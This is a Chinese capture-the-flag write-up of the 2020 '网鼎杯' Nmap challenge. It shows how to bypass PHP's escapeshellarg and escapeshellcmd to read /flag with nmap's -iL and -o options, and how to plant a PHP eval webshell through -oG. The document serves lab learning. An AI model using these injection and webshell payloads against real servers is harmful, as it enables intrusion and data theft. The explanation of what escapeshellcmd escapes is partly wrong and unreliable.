[网鼎杯 2020 朱雀组]Nmap1

时间:2024-10-10 09:25:52

知识点:escapeshellarg和escapeshellcmd函数的绕过

               nmap使用方法

进入页面是一个NMAP工具的使用页面

知识点:

Nmap(Network Mapper)是一款功能强大的网络扫描工具,它能够帮助用户发现网络上的设备、开放的端口以及运行的服务。以下是一些Nmap的常见命令及其用途:

  1. 基本扫描
    • nmap <目标IP>:对指定IP地址进行快速扫描,默认扫描100个常用端口。
    • nmap -p <端口范围> <目标IP>:扫描指定IP地址的特定端口范围。
  2. 详细扫描
    • nmap -sV <目标IP>:探测目标主机上运行的服务的版本信息。
    • nmap -O <目标IP>:尝试检测目标主机的操作系统类型。
    • nmap -A <目标IP>:进行高级扫描,包括操作系统检测、版本检测、脚本扫描等。
  3. 扫描多个目标
    • nmap <目标IP1> <目标IP2> ...:依次扫描多个IP地址。
    • nmap -iL <目标文件>:从文件中读取IP地址列表进行扫描。
  4. 扫描整个子网
    • nmap <起始IP>-<结束IP>:扫描指定IP范围内的所有主机。
    • nmap <网络地址>/<子网掩码>:使用CIDR表示法扫描整个子网。
  5. 服务探测
    • nmap --script=<脚本名> <目标IP>:运行指定的Nmap脚本进行扫描。
    • nmap -sT <目标IP>(或-sU):进行TCP(或UDP)连接扫描。
    • nmap -sS <目标IP>:进行TCP SYN扫描(半开扫描),速度较快且不易被防火墙发现。
  6. 性能优化
    • nmap -T<0-5> <目标IP>:设置扫描的并行度,-T0为最慢但最隐蔽,-T5为最快但可能触发防火墙警报。
    • nmap --min-hostgroup=<数量>:设置一次扫描的主机组大小,以优化扫描速度。
  7. 结果输出
    • nmap -oN <输出文件> <目标IP>:将扫描结果以普通文本格式保存到文件中。
    • nmap -oX <输出文件> <目标IP>:将扫描结果以XML格式保存到文件中。
    • nmap -oG <输出文件> <目标IP>:将扫描结果以Grepable格式保存到文件中,便于后续处理。
  8. 其他选项
    • nmap --open <目标IP>:仅显示开放的端口。
    • nmap --host-timeout=<时间>:设置扫描每个主机的超时时间。
    • nmap --script-timeout=<时间>:设置运行脚本的超时时间。
    • nmap --osscan-limit:限制操作系统检测,以加快扫描速度。
    • nmap --osscan-guess:尝试猜测更具体的操作系统信息。

这里试一下多条命令执行.

;被转义了.

那么看下页面源代码看看.

他这里有提示: flag is in /flag

那么我们可以通过以下知识点写入webshell,或将flag读入指定文件在读取指定文件内容即可

nmap -iL <目标文件>:从文件中读取IP地址列表进行扫描

nmap -oN <输出文件> <目标IP>:将扫描结果以普通文本格式保存到文件中

第一种方法:将flag读取至指定文件.

payload:

127.0.0.1' -iL /flag -o wtj

这里多家一个单引号是为了绕过escapeshellarg和escapeshellcmd两个函数.

在PHP中,escapeshellarg() 和 escapeshellcmd() 函数用于处理用户输入,以防止命令注入攻击。这两个函数的行为有所不同,并且它们的处理方式影响最终的命令字符串。

escapeshellarg()

escapeshellarg() 函数用于确保一个字符串在作为命令行参数时安全。它会将单引号进行转义,并用一对单引号包裹整个字符串,确保该字符串被视为一个单独的参数。

原始输入:

$input = "127.0.0.1' -iL /flag -o wtj";

经过 escapeshellarg() 处理后:

$safe_input = escapeshellarg($input);  
echo $safe_input;  // 输出:'127.0.0.1'\'' -iL /flag -o wtj'

解释:

  • 单引号 ' 被转义为 \',然后用一对单引号包裹整个字符串。
  • 结果是一个合法的命令行参数,其中原始字符串被安全地引用。

escapeshellcmd()

escapeshellcmd() 函数用于确保一个字符串在作为整个命令行时安全。它会转义一些特殊字符,比如 ;&()|<>^`$*\"`[]{}=?, 和 #,以及空格和制表符。

原始输入:

$input = "'127.0.0.1'\'' -iL /flag -o wtj'";

 注意:这里输入已经包含了一些转义的单引号,并且整个字符串被单引号包裹。

经过 escapeshellcmd() 处理后:

$safe_input = escapeshellcmd($input);  
echo $safe_input;  // 输出:'127.0.0.1'\\'' -iL /flag -o wtj\'

解释:

  • 单引号 ' 已经被转义为 \',但由于整个字符串已经处于单引号内,所以内部的 \' 被进一步转义为 \\'
  • 字符串末尾的单引号 ' 被转义为 \',因为 escapeshellcmd() 会处理字符串中的所有特殊字符。
  • 结果是一个更安全的命令行字符串,但需要注意的是,这种处理方式可能会在某些情况下导致意外的行为,特别是当输入字符串已经包含转义字符时。 

最后获取到flag.

第二种方法:写入webshell

我们可以利用-oG写入webshell:127.0.0.1 | <?=@eval($_REQUEST['cmd']);?> -oG attack.php

有什什么被过滤了 ,改成phtml试试.

127.0.0.1 | '<?=@eval($_REQUEST['cmd']);?>' -oG attack.phtml

知识点: 

escapeshellcmd 函数的主要作用是对一些特定的特殊字符进行转义,以防止外部命令注入。这些特殊字符通常包括单引号、双引号、反斜杠和一些其他字符,它们在 shell 中可能会改变命令的行为。

对于字符串 <?=@eval($_POST[cmd]);?>,这是一个 PHP 代码片段,而不是外部命令的参数。因此,escapeshellcmd 函数不会对这类代码进行转义。escapeshellcmd 只适用于需要被传递到操作系统命令行的字符串。

 读取到flag,游戏结束~